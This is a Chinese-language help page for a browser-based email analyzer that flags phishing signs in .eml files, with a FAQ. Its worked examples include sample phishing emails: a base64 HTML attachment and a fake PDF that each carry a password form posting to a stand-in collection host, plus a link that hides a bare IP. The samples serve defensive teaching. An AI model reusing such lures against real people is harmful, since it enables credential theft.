电子邮件

EML 分析器

本地运行新增

该工具本身是英文的;本页面将用您的语言对它进行说明。

使用 EML 分析器

功能介绍

拖入 .eml 文件或粘贴邮件源码,检查其发件人相关邮件头、Received 链、链接和附件。全部在你的浏览器中运行。

它完全在您的浏览器中运行:您输入的任何内容都不会被上传。

如何使用EML 分析器

  1. 获取原始邮件. 将邮件另存为 .eml,或复制其源码:Gmail 的 Show original、Outlook 的 View message source、Thunderbird 或 Apple Mail 的 View source。不读取 Outlook .msg 文件。
  2. 载入邮件. 将 .eml 文件拖到框中或选择该文件(最大 50 MB),或把源码粘贴到文本框中(最大 5 MB),然后按 Analyze(分析)。
  3. 查看 Summary. 检查结果分为危险迹象、警告、提示和已通过的检查。每一行都会注明其来源的邮件头、链接或附件。
  4. 查看详情. 汇总下方依次是发件人相关邮件头、与 From 域名比较的各个域名、认证结果、Received 链、每个链接和每个附件。
  5. 提取指标. 勾选你需要的指标类型,然后以原样或无害化形式复制,下载为 .txt 文件,或使用 Send to(发送到)。

示例

精心构造的钓鱼邮件

输入
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
输出(捕获于2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

显示名称冒充 support@example.com,Reply-To 和 DKIM 位于其他域名,DMARC 为 fail,一个链接的文本显示 www.example.com,实际却指向 login.example.net,还有一个带密码表单的 invoice.pdf.html 附件。

检查内容

信号其含义
带电子邮件地址的显示名称当名称显示的是一个地址、而真实发件人是另一个地址时,判为危险。邮件应用通常只显示名称。
其他域名上的 Reply-To警告:你的回复会发往与发件人不同的组织。
Authentication-ResultsDMARC fail 和 SPF fail 是危险迹象;SPF softfail 和 DKIM fail 是警告。只有你自己的服务商添加的结果才算数。
Return-Path 和 DKIM d= 域名与 From 域名不同时会加以注明。这对群发邮件服务来说很正常,但 DMARC 要求其中之一与 From 域名对齐。
Received 链各跳按从旧到新的顺序列出,并附延迟。时间戳早于上一跳、延迟超过一小时,或反向 DNS 显示 “may be forged”,都会被标记。
链接文本与目标地址当可见文本写的是一个域名、链接却指向另一个域名,或 @ 前的文本掩盖了真实主机时,判为危险。裸 IP、Punycode、短链接和包装链接也会被标出。
附件双扩展名、会运行代码或在浏览器中打开的文件、内容与扩展名不符,以及从右到左覆盖(RLO)字符伎俩,都会被标记。每个文件都会计算 SHA-256、SHA-1 和 MD5。
HTML 中的表单和脚本正文或附件中带密码字段的表单是危险迹象。附件中的脚本代码会给出警告。

更多示例

隐藏 IP 地址的链接

输入
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
结果

1 个危险迹象:“1 link: text before "@" is ignored: the real host is 203.0.113.7”,以及 1 个警告:“1 link: link goes to a bare IP address”。Links 表格在其文本 Upgrade storage 旁显示经无害化处理的地址。

冒充 PDF 的 HTML 页面

输入
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
结果

2 个危险迹象:附件 invoice.pdf “contains a form with a password field”(包含带密码字段的表单),以及其 “content is HTML document, not .pdf”(内容是 HTML 文档而非 .pdf)。附件卡片显示 Content: HTML document 和三个哈希;Links 表格列出表单的提交目标,并注明 “form submits data to this address”。

常见问题解答

EML 分析器检查什么?

它解码邮件头和每个 MIME 部分,比较 From、Reply-To、Return-Path、DKIM d= 和 Message-ID 的域名,并读取 Authentication-Results。它还会列出 Received 各跳及其延迟、每个链接及其可见文本,以及每个附件的 SHA-256、SHA-1 和 MD5。

它能证明一封邮件是钓鱼邮件,或者是安全的吗?

不能。它展示的是事实和警示迹象,而不是结论:正规的群发邮件往往有不同的 Return-Path 或 DKIM 域名,而且 DKIM 签名只会被列出,不会进行密码学验证。不支持 Outlook .msg 文件;请先将邮件另存为 .eml。

邮件会被上传到任何地方吗?

不会。文件在你的浏览器中读取和解析,HTML 以文本形式显示,从不渲染,也不会有任何数据经过网络传输。Send to 按钮通过浏览器的会话存储(session storage)把结果传给另一个工具页面。

它采信哪一个 Authentication-Results 头?

采信由你自己的邮件系统添加的那个:根据 Received 链识别,并标注为 “added by the recipient's server”。邮件中位置更靠下的邮件头可能由发件人写入,因此页面会提示你只信任自己服务商给出的结果。

它能打开作为附件附在另一封邮件中的邮件吗?

可以。附带的邮件会连同其哈希一起列出,并有一个 “Analyze the attached message” 按钮,可在同一视图中打开它。“Back to the outer message” 可返回外层邮件。

为什么指标中缺少某些 IP 地址?

私有地址、本地地址以及收件人自己邮件系统内部的跳会被排除,因为它们并不指向发件人的服务器。收件人的电子邮件地址也从不包括在内。

术语说明

PhishDestroy 研究